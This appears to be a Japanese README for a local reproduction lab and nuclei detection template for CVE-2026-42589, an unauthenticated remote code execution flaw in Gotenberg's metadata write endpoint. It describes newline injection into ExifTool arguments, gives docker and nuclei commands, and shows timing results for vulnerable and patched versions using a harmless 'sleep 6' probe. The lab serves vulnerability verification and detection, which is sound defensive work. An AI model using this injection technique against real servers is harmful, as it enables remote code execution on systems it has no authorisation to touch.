
POC_CVE-2026-42589
CVE-2026-42589 に影響する Gotenberg のローカル再現ラボと nuclei テンプレート草案。
CVE-2026-42589 は、Gotenberg における認証不要のリモートコード実行の問題であり、メタデータキーの改行インジェクションによって引き起こされます。
POST /forms/pdfengines/metadata/write
影響を受ける Gotenberg は、ユーザー制御のメタデータキーを制御文字を拒否せずに ExifTool に転送します。JSON エスケープされた改行を含むメタデータキーは、追加の ExifTool 引数に分割される可能性があります。
このラボは以下を検証するために使用されました:
gotenberg/gotenberg:8.29.1 の脆弱な動作gotenberg/gotenberg:8.31.0 の修正済み動作nuclei テンプレートは、非破壊的な sleep 6 タイミングチェックのみを使用します。
docker-compose.ymldocker-compose.latest.ymlCVE-2026-42589.yamlmanual_verify.pysample.pdfREADME.mdGotenberg 8.29.1 を起動:
docker compose down -v
docker compose up -d
docker compose logs --tail=100 gotenberg
バージョンを確認:
curl -s http://127.0.0.1:3000/version
手動の raw multipart タイミングチェック:
python3 manual_verify.py http://127.0.0.1:3000
期待される脆弱性シグナル:
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.xs
観測された脆弱な結果:
HTTP/1.1 500 Internal Server Error
TOTAL_TIME=6.300s
Internal Server Error
Gotenberg 8.31.0 を起動:
docker compose -f docker-compose.latest.yml down -v
docker compose -f docker-compose.latest.yml up -d
docker compose -f docker-compose.latest.yml logs --tail=100 gotenberg
バージョンを確認:
curl -s http://127.0.0.1:3000/version
同じ手動タイミングチェックを実行:
python3 manual_verify.py http://127.0.0.1:3000
観測されたパッチ適用バージョンの結果:
HTTP/1.1 400 Bad Request
TOTAL_TIME=0.145s
At least one PDF engine cannot process the requested metadata, while others may have failed to convert due to different issues
テンプレートを検証:
nuclei -duc -validate -t CVE-2026-42589.yaml
脆弱なターゲットに対して実行:
nuclei -duc -u http://127.0.0.1:3000 -t CVE-2026-42589.yaml
期待される動作:
8.29.1: 遅延した 500 応答後に一致8.31.0: 一致なし観測された脆弱な結果:
[CVE-2026-42589] [http] [critical] http://127.0.0.1:3000/forms/pdfengines/metadata/write
[INF] Scan completed in 6.245907708s. 1 matches found.
観測されたパッチ適用バージョンの結果:
[INF] Scan completed in 93.01425ms. No results found.